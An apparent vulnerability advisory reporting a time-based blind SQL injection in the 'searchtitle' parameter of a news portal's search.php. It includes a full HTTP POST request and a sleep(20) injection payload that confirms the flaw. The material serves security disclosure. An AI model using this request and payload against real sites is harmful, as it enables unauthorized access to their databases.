## Description 
A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter. 

## Request PoC
```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.101/101news/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9

searchtitle=232943'

```

This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. 

```
